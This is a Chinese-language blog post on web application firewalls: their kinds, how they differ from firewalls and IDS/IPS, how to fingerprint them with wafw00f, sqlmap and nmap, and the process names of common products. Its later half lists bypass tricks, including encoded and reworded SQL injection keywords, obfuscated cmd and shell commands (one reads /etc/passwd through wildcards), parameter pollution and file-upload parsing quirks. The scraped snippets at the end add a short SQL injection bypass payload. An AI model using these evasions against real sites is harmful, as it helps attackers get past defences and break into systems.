    在这里插入图片描述

    WAF的分类

    WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。

    软件型WAF

    以软件的形式安装在服务器上,可以直接检测服务器是否存在webshell,是否有文件被创建等
    D盾云锁网防G01安全狗护卫神智创悬镜UPUPW安骑士

    硬件型WAF

    以硬件的形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听时只记录攻击,不拦截
    绿盟安恒铱迅天融信深信服启明星辰知道创宇F5 BIG-IP

    基于云WAF

    一般以反向代理的形式工作,通过配置NS或CNAME记录,使得对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将被认为无害的请求报文再发送给实际网站服务器进行请求,可以认为是自带防护功能的CDN
    安全宝创宇盾玄武盾腾讯云(T-Sec Web 应用防火墙)百度云(应用防火墙 WAF)西部数码阿里云盾奇安信网站卫士

    开源型WAF

    NaxsiOpenRASPModSecurity

    网站内置的WAF

    网站系统内置的WAF直接镶嵌在代码中,相对来说自由度高,网站内置的WAF与业务更加契合

    IPS与IDS,防火墙与WAF之间的比较和差异

    如果你在学习WAF的时候,常常对WAF、防火墙、IPS等概念感到费解,你可以直接查看我参考的原文(我这里重新排版了)
    首先明确一下缩写词汇:

    IPS(Intrusion Prevention System) =入侵防御系统
    IDS(Intrusion Detection System)  =入侵检测系统
    WAF(Web Application Firewall)    = Web应用程序防火墙
    

    这些设备的拓扑如下
    在这里插入图片描述

    防火墙功能

    防火墙有几种类型,但最常见的是硬件网络防火墙。从拓扑图中可以看到,由于网络防火墙是网络安全的基石,因此在所有网络设计中都可以找到网络防火墙。

    防火墙的核心功能是允许或阻止源主机/网络与目标主机/网络之间的通信。

    基本防火墙在OSI模型的第3层和第4层工作,即它们可以基于源/目标IP地址和源/目标TCP / UDP端口允许或阻止IP数据包。此外,网络防火墙是有状态的。这意味着防火墙会跟踪通过它的连接状态。
    例如,如果内部主机通过防火墙成功访问了Internet网站,则后者会将连接保留在其连接表内,从而允许来自外部Web服务器的答复数据包传递到内部主机,因为它们已经属于已建立的防火墙。连接。
    如今,下一代防火墙一直运行到OSI模型的第7层,这意味着它们能够在应用程序级别检查和控制流量。

    IPS入侵防御系统

    在这里插入图片描述

    顾名思义,入侵防御系统(IPS)是一种安全设备,其主要任务是防止网络入侵。
    这就是为什么IPS与数据包流串联连接的原因。从上面的网络拓扑(带IPS的防火墙)可以看出,IPS设备通常连接在防火墙后面,但是位于通信路径的串联位置,该通信路径向内部网络/从内部网络传输数据包。
    为了使IPS设备在到达内部服务器之前立即阻止恶意流量,需要上述放置。
    通常,IPS是基于签名的,这意味着它具有已知恶意流量,攻击和利用的数据库,如果它看到匹配签名的数据包,则它将阻止流量。
    此外,IPS可以处理统计异常检测,管理员设置的规则等。

    IDS入侵检测系统

    在这里插入图片描述

    IDS(入侵检测系统)是IPS的前身,本质上是被动的。如上图所示(带IDS的防火墙),该设备未与流量串联插入,而是并行(带外放置)。
    通过交换机的流量也同时发送到IDS进行检查。如果在网络流量中检测到安全异常,则IDS只会向管理员发出警报,但无法阻止流量。
    与IPS相似,IDS设备还主要使用已知安全攻击和漏洞利用的特征来检测入侵企图。
    为了将流量发送到IDS,交换设备必须配置一个SPAN端口,以便复制流量并将其发送到IDS节点。
    尽管IDS在网络中是被动的(即它不能主动阻止流量),但是有些模型可以与防火墙配合使用以阻止安全攻击。
    例如,如果IDS检测到攻击,则IDS可以向防火墙发送命令以阻止特定的数据包。

    WAF

    在这里插入图片描述

    WAF(Web应用程序防火墙)专注于保护网站(或通常的Web应用程序)。
    它在应用程序层工作以检查HTTP Web流量,以检测针对网站的恶意攻击。
    例如,WAF将检测SQL注入攻击,跨站点脚本,Javascript攻击,RFI / LFI攻击等。
    由于当今大多数网站都使用SSL(HTTP),因此WAF还可以通过终止SSL会话并在WAF本身上检查连接内部的流量来提供SSL加速和SSL检查。
    如上图所示(带有WAF的防火墙),它被放置在网站的前面(通常)在防火墙的DMZ区域中。
    有了WAF,管理员可以灵活地限制对网站特定部分的Web访问,提供强身份验证,检查或限制文件上传到网站等。

    对比

    IPS与IDS

    入侵防御系统入侵检测系统
    网络布局串联(串联)与网络流量与流量并行(带外)
    操作模式活动设备。可以主动阻止攻击流量。被动装置。无法阻止攻击流量,只能检测。
    检测机制基于签名,基于规则,统计异常检测等基于签名,基于规则,统计异常检测等
    封锁选项在网络级别阻止数据包,重置连接,提醒管理员等提醒管理员,发送重置连接请求。
    硬件功能必须具有高性能才能执行深度数据包检查,并且不能减慢流量。不需要非常高性能,因为它不会干预流量。但是,为了实时掌握流量,它必须能够处理线路带宽。

    防火墙与IPS / IDS

    防火墙功能入侵防御/入侵防御
    网络布局通常放置在网络的前端以控制流量。防火墙后的线内或带外。
    主要用例允许或阻止不同网络区域之间的流量。专门检查网络数据包以使其与已知恶意攻击的特征进行匹配。然后,流量被阻止或发出警报。
    检测机制通常适用于第4层,以允许或阻止IP地址和端口。基于签名,基于规则,统计异常检测等
    封锁选项在网络级别阻止或允许数据包。检测攻击并直接阻止流量或发送警报。
    硬件功能通常具有许多物理网络接口,以便将网络划分为不同的安全区域。必须具有高性能才能执行深度数据包检查,并且不能减慢流量。

    WAF与IPS / IDS

    WAF入侵防御/入侵防御
    网络布局放置在网站/ Web应用程序的前面防火墙后的线内或带外。
    主要用例专用于仅检查HTTP Web流量并防止Web特定攻击。专门检查所有网络数据包,以使其与已知恶意攻击的特征进行匹配。然后,流量被阻止或发出警报。
    防范这些安全攻击(示例)SQL注入,跨站点脚本,GET / POST攻击,会话操纵攻击,javascript,LFI / RFI等针对Web服务器,SMTP,RDP,DNS,Windows OS,Linux OS等服务的利用。

    WAF检测

    检测WAF的方法较多,可以通过NMAP、wafw00f、检查响应标头,检查响应正文等方式

    手工检测

    譬如,我这里直接来个XSS
    在这里插入图片描述

    在这里插入图片描述

    这个时候你可以直接看到被WAF拦截了,WAF是华为云。你也可以通过响应头看到WAF
    在这里插入图片描述

    在这里插入图片描述

    工具检测WAF

    wafw00f

    检测WAF的方法
    wafw00f是一个Web应用防火墙(WAF)指纹识别的工具。
    下载地址:https://github.com/EnableSecurity/wafw00f
    wafw00f的工作原理:

    1. 发送正常的HTTP请求,然后分析响应,这可以识别出很多WAF。
    2. 如果不成功,它会发送一些(可能是恶意的)HTTP请求,使用简单的逻辑推断是哪一个WAF。
    3. 如果这也不成功,它会分析之前返回的响应,使用其它简单的算法猜测是否有某个WAF或者安全解决方案响应了我们的攻击。

    kali上内置了该工具:
    在这里插入图片描述

    wafw00f支持非常多的WAF识别。要查看它能够检测到哪些WAF,请使用-l 选项。
    简单使用如下:wafw00f https://www.xxx.com/
    在这里插入图片描述

    sqlmap

    如果网站存在WAF,sqlmap会有提示。

    sqlmap --batch --identify-waf --random-agent -u "http://www.test.com"
    

    在这里插入图片描述

    nmap

    nmap检测waf

    nmap -p 80 443 --script http-waf-detect <目标>
    

    在这里插入图片描述

    nmap识别waf指纹

    nmap -p 80 443 --script http-waf-fingerprint <目标>
    

    在这里插入图片描述

    WAF进程与拦截页面

    此处大量引用了网络上的图片

    D盾

    服务名:d_safe
    进程名:D_Safe_Manage.exe、d_manage.exe
    

    云锁

    服务端监听端口:5555
    服务名:YunSuoAgent/JtAgent(云锁Windows平台代理服务)、YunSuoDaemon/JtDaemon(云锁Windows平台守护服务)
    进程名:yunsuo_agent_service.exe、yunsuo_agent_daemon.exe、PC.exe
    

    阿里云盾

    服务名:Alibaba Security Aegis Detect Service、Alibaba Security Aegis Update Service、AliyunService
    进程名:AliYunDun.exe、AliYunDunUpdate.exe、aliyun_assist_service.exe
    

    腾讯云安全

    进程名:BaradAgent.exe、sgagent.exe、YDService.exe、YDLive.exe、YDEdr.exe
    

    腾讯宙斯盾

    360主机卫士

    服务名:QHWafUpdata
    进程名:360WebSafe.exe、QHSrv.exe、QHWebshellGuard.exe
    

    奇安信网站卫士

    网站/服务器安全狗

    服务名:SafeDogCloudHelper、Safedog Update Center、SafeDogGuardCenter(服务器安全狗守护中心)
    进程名:SafeDogSiteApache.exe、SafeDogSiteIIS.exe、SafeDogTray.exe、SafeDogServerUI.exe、SafeDogGuardCenter.exe、CloudHelper.exe、SafeDogUpdateCenter.exe
    

    护卫神·入侵防护系统

    服务名:hws、hwsd、HwsHostEx/HwsHostWebEx(护卫神主机大师服务)
    进程名:hws.exe、hwsd.exe、hws_ui.exe、HwsPanel.exe、HwsHostPanel.exe/HwsHostMaster.exe(护卫神主机大师)
    

    网防G01政府网站综合防护系统(“云锁”升级版)

    服务端监听端口:5555
    服务名:YunSuoAgent、YunSuoDaemon(不知是否忘了替换了!)
    进程名:gov_defence_service.exe、gov_defence_daemon.exe
    

    UPUPW安全

    宝塔

    智创防火墙

    创宇盾

    玄武盾

    西数WTS-WAF

    Naxsi WAF

    百度云

    华为云

    **

    网宿云

    铱讯WAF

    安域云WAF

    长亭SafeLine

    安恒明御WAF

    WAF绕过

    网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过。

    WAF的工作原理放到这里说一下,WAF的主要难点是对入侵的检测能力,尤其是对Web服务入侵的检测,WAF最大的挑战是识别率。对于已知的攻击方式,可以谈识别率,但是对于未知的攻击手段,WAF是检测不到的。目前市面上大多数的WAF都是基于规则的WAF。即WAF对接数据收到的包进行正则匹配过滤,如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。对于这种WAF,它的工作过程是这样的:**解析HTTP请求——>匹配规则——>防御动作——>记录日志 **
    具体实现如下:

    1. 解析http请求:协议解析模块
    2. 匹配规则:规则检测模块,匹配规则库
    3. 防御动作:return 403 或者跳转到自定义界面,或者不返回任何数据,或者拉黑IP
    4. 日志记录:记录到elk中

    从WAF工作的过程我们可以看到,要想绕过WAF,我们只有在 WAF解析HTTP请求 或 WAF匹配规则 两个地方进行绕过。因为第三、四步是WAF匹配到攻击之后的操作,这时候WAF已经检测到攻击了。
    【绕WAF这个事,可以说,方式的很灵活的,写起来很杂,以后再积累更新】

    域名转换为ip

    有些WAF设置的是针对域名的防护,在有些时候,我们可以尝试将域名改成ip地址有可以绕过WAF的防护。
    (小声bb,其实这很鸡肋,一般来说,规则是不会匹配host是域名还是ip,除非是为了避免误报才可能匹配host)

    分块编码(Transfer-Encoding)绕过WAF

    这种绕过方法利用的是WAF在解析HTTP协议的过程,既然WAF连我们的攻击代码都没有解析完全,那么第二步的正则匹配也就匹配不到我们的攻击代码了,自然就可以绕过了。

    相关文章:
    在HTTP协议层面绕过WAF
    利用分块传输吊打所有WAF
    [技术]编写Burp分块传输插件绕WAF
    HTTP 协议中的 Transfer-Encoding

    对抗规则绕过

    对关键字进行不同编码

    select * from zzz = select * from  %257a%257a%257a  //url编码
    单引号 = %u0027、%u02b9、%u02bc   // Unicode编码
    adminuser = 0x61646D696E75736572 // 部分十六进制编码
    空格 = %20 %09 %0a %0b %0c %0d %a0  //各类编码
    

    这种方式实用价值一般,譬如检测xss的时候,我会加一条逻辑与来匹配编码

    pcre:"/(txtName|mtxMessage)[\s=]+?.+?(%3C|\x3c|<).+?(%3E|\x3E|>)/iP"
    

    对关键字进行大小写变换

    Union select = uNIoN sELecT
    

    这种方式实用价值很低,我们写正则的时候,一般都会设置正则的标志位为i,即,不区分大小写

    通过其他语义相同的关键字替换

    除了通过编码等价替换等方式绕过检测,我们还能配合目标特性实现绕过检测

    And = &&
    Or = ||
    等于 = like 或综合<与>判断
    if(a,b,c) = case when(A) then B else C end
    substr(str,1,1) = substr (str) from 1 for 1
    limit 1,1 = limit 1 offset 1
    Union select 1,2 = union select * from ((select 1)A join (select 2)B;
    hex()、bin() = ascii()
    sleep() = benchmark()
    concat_ws() = group_concat()
    mid()、substr() = substring()
    @@user = user()
    @@datadir = datadir()
    

    配合Windows特性

    注意,是在cmd下执行,在powershell中是不行的

    ipconfig <=> ((((ipc^o^nf""ig))))      //利用符号分割字符执行ipconfig
    

    在这里插入图片描述

    ipconfig <=> set a=123ipconfig456&& %a:~3,8%	利用变量分割关键字执行ipconfig
    

    在这里插入图片描述

    解释:
    set a=123ipconfig456 //设置了一个变量a
    echo %a:~3,8% //取出变量a的第3位开始共计8个字符(加了个echo是为了看看取的内容)
    %a:~3,8% //执行取出的值
    把上面内容合体就是set a=123ipconfig456&& %a:~3,8%
    在这里插入图片描述

    配合linux特性

    whoami <=> w'h'o'a'm"i"  //单引号或双引号连接符,需要闭合
    

    在这里插入图片描述

    Cat /etc/passwd <=> cat /?t*/??ss**  //?,*通配符 
    whoami <=> /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符
    

    上面的这个说白了就是利用了linux能够识别正则。
    在这里插入图片描述

    Whoami <=> a=who&&b=ami&&$a$b     //当然linux下也可以变量拼接
    

    在这里插入图片描述

    cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd  //目录穿越
    

    在这里插入图片描述

    http协议绕过

    Content-Type绕过
    有的waf 识别到Content-Type类型为multipart/form-data后,会将它认为是文件上传请求,从而不检测其他种类攻击只检测文件上传,导致被绕过。

    application/x-www-form-urlencoded è multipart/form-data
    

    HTTP请求方式绕过
    waf在对危险字符进行检测的时候,分别为post请求和get请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测
    Ps:云锁/安全狗安装后默认状态对post请求检测力度较小,可通过变换请求方式绕过
    参数污染绕过
    由于http协议允许同名参数的存在,同时waf的处理机制对同名参数的处理方式不同,造成“参数污染”。不同的服务器搭配会对传递的参数解析出不同的值。配合waf与中间件对参数解析位置不同,可能绕过waf。

    提交的参数为:?id=1&id=2&id=exp
    asp.net+iis:id=1,2,exp
    asp+iis:id=1,2,exp
    php+apache:id=exp
    

    解析特性绕过
    原理:利用waf与后端服务器的解析不一致。
    Iis5.0-6.0解析漏洞

    .asp --> /xx.asp/xx.jpg  //.asp,.asa目录下的文件都解析成asp文件
    .asp --> xx.asp;.jpg     //服务器默认不解析;号后面的内容
    

    Iis7.5解析漏洞(php.ini开启fix_pathinfo)

    .php --> /xx.jpg         //上传.jpg一句话,访问时后面加上/xx.php
    

    apache解析漏洞

    .php --> /test.php.php123     //从右往左,能别的后缀开始解析
    

    nginx解析漏洞(php.ini开启fix_pathinfo)

    .php --> xxx.jpg%00.php      //Nginx <8.03 空字节代码执行漏洞
    

    解析兼容性绕过
    在http协议中,标准的文件名的形式为filename=”1.php”,但是web容器会在解析协议时做一些兼容,文件上传时,有的waf只按照标准协议去解析,解析不到文件名,从而被绕过。
    keep-alive(Pipeline)绕过
    原理:http请求头部中有Connection这个字段,建立的tcp连接会根据此字段的值来判断是否断开,我们可以手动将此值置为keep-alive,然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过。

    更多

    先知白帽大会有一期的内容是关于WAF,内容生动有趣,可以看
    没有绝对的waf防御.pdf

    参考

    Web渗透测试:信息收集篇
    Web 防火墙(WAF)是什么?和传统防火墙区别是什么?
    IPS与IDS,防火墙与WAF之间的比较和差异
    WAF、流控设备、堡垒机
    看图识WAF-搜集常见WAF拦截页面
    常见WAF拦截页面
    常见WAF进程/服务与WAF识别总结
    实战技巧 | WAF绕过入狱指南
    WAF的工作原理和绕过浅析
    绕过网站WAF(图片绕过)
    waf绕过拍了拍你

    展开全文
  • sql注入过waf

    2021-10-13 11:55:52
    sql注入过waf 安全狗3.5 1.内联注释+5五位数+%23+%0a 绕过 ?id=1 union select 1,2,3; 会被拦截 经过测验 union select 函数被拦截 构造 /*!06447%23%0a*/select 即可绕过 安全狗4.0 ?id=1 union select 1,2,3; 会...
  • WAF简介

    千次阅读 2019-04-07 14:41:38
    --------------------- 转摘于...二、这部分通过一个实例演示了如何利用WAF为其后端的Web应用提供安全防护功能;三、安全是相对的,世界上任何一款安全产品都不可能提供100%的安全防护功能,WAF也是...
  • WAF的那些事

    2018-12-14 14:17:10
    waf分类 软件型waf(安装在服务器上,直接检测服务器上是否存在webshell,是否有文件被创建) 硬件型waf(当串联到链路中可以拦截恶意流量,在旁路监听模式时只记录攻击不进行拦截) 云waf(一般以反向代理的形式...
  • sql注入绕过WAF小tips

    千次阅读 2021-05-01 10:18:25
    WAF分类 二. WAF工作原理 三. 攻击环境搭建 四. WAF绕过姿势 运算符绕过and、or限制 内联注释绕过order by 添加控制字符绕过union select 函数拆分获取数据库名 在实际的渗透测试过程中,经常会碰到网站...
  • WAF的原理

    2021-07-20 21:26:01
    一.WAF的原理 WAF是Web应用防火墙(Web Application Firewall)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用...
  • 是一个python写的waf自动绕过工具,上一个版本是 ,xwaf分类bypass_waf更智能,可无人干预,自动暴破waf 免责声明 [!]法律免责声明:未经事先相互同意,使用xwaf.py攻击目标是非法的。最终用户有责任遵守所有适用...
  • 一、什么是WafWaf的全拼为:Web Application Firewall,顾名思义Waf是一款专针对Web应用***的防护产品。当Web应用越来越丰富的同时,大部分交互都...二、Waf形态分类目前市面上的Waf的形态可以简单分类为三种,分...
  • 一、什么是WafWaf的全拼为:Web Application Firewall,顾名思义Waf是一款专针对Web应用攻击的防护产品。当Web应用越来越丰富的同时,大部分交互都转移到了...目前市面上的Waf的形态可以简单分类为三种,分别为
  • 《2020国内WAF产品研究报告》

    千次阅读 2020-02-27 11:42:58
    关于报告 近年来,针对Web应用的攻击已成为企业面临的主要安全问题之一。网络安全攻击有75%都是发生在Web应用层而非网络层面上,约2/3的Web站点都相当脆弱,易受攻击。而WAF(Web Application Firewall...使用WAF解...
  • 主流waf非主流waf_通过黑客眼中的WAF

    千次阅读 2020-09-10 13:02:56
    主流waf非主流waf Today we’re going to talk about one of the modern security mechanism for web applications, namely Web Application Firewall (WAF). We’ll discuss modern WAFs and what they are based ...
  • WAF分类:1.网络层类2.最常见且容易部署的应用层类 (部署在APAC++HE之前,APAC++HE之后)应用层WAF – 利用WAF自身缺陷和MYSQL语法特性并结合实际绕过:WAF最常见检测方式:关键词检测 例如 如果出现 [空格]union...
  • sqlmap --tamper 绕过WAF脚本分类整理 但很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。 sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的...
  • 支持的数据库编号脚本名称作用实现方式all1apostrophemask.py用utf8代替引号("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 2base64encode.py 用base64编码替换("...
  • 关于WAF

    2020-02-06 15:49:34
    WAF ...WAF分类 软件WAF:以软件形式装在所保护的服务器WAF,由于安装在服务器中,可以接触到服务器内部文件,直接检测服务器是否存在病毒,webshell,文件是否创建,删除,被利用等。 硬件W...
  • 笔记: 支持的数据库 编号 脚本名称 作用 实现方式 all 1 apostrophemask.py 用utf8代替引号 ("1AND'1'='1") '1AND%EF%BC%871%EF%BC%87=%EF%BC%871' ... multi...
  • WAF介绍及常见绕过方法

    千次阅读 2020-02-20 21:40:44
    一、WAF简介 ... 1.工作原理 对web应用程序客户端发出的流量进行内容检测和验证,检测其安全性与合法性,来屏蔽常见的网站漏洞攻击,如SQL注入,XML注入、XSS等。...2.WAF分类 软件型WAF 以软件形式装在所保护的服务器...
  • 英文:Web Application Firewall,简称: WAF)应运而生。WAF是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 SQL注入时,当我们遇到WAF,很多时候还是得首先静下来分析过滤系统到底...
  • Waf 测试基础知识

    千次阅读 2019-06-24 13:41:38
    背景: 对于现在的互联网,网络攻击每天都在发生,很多攻击是在七层,也就是OSI七层模型中的应用层。因此,Web应用防火墙(Web Application Firewall,简称WAF)愈发显得重要 SQL注入攻击(SQL Injection) ...
  • waf日志分析解决方案

    2021-06-01 23:41:11
    一个完整的闭环形成日志收集到优化特征,继而优化参数进行离线训练,将分类器的结果进行误报和漏报率进行统计机算,最终用域下一次日志结果分类中。 通过长时间的观察和经验,发现误报的日志在一些特征值上有着明显...
  • 想法:waf的绕过是门学问,记得sqlmap的使用有提到绕过waf的概念,输入数据的时候也要考虑到waf的影响,尤其是写一句话木马的时候,有的时候需要多次的嵌套来绕过waf的正则检测。听安全大佬们说,waf这东西对于渗透...
  • WAF_Bypass_技术讨论.pdf

    2021-08-08 16:56:38
    一、WAF分类及原理解析 二、WAF指纹识别及探测 三、WAF Bypass姿势

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,139
精华内容 855
关键字:

waf分类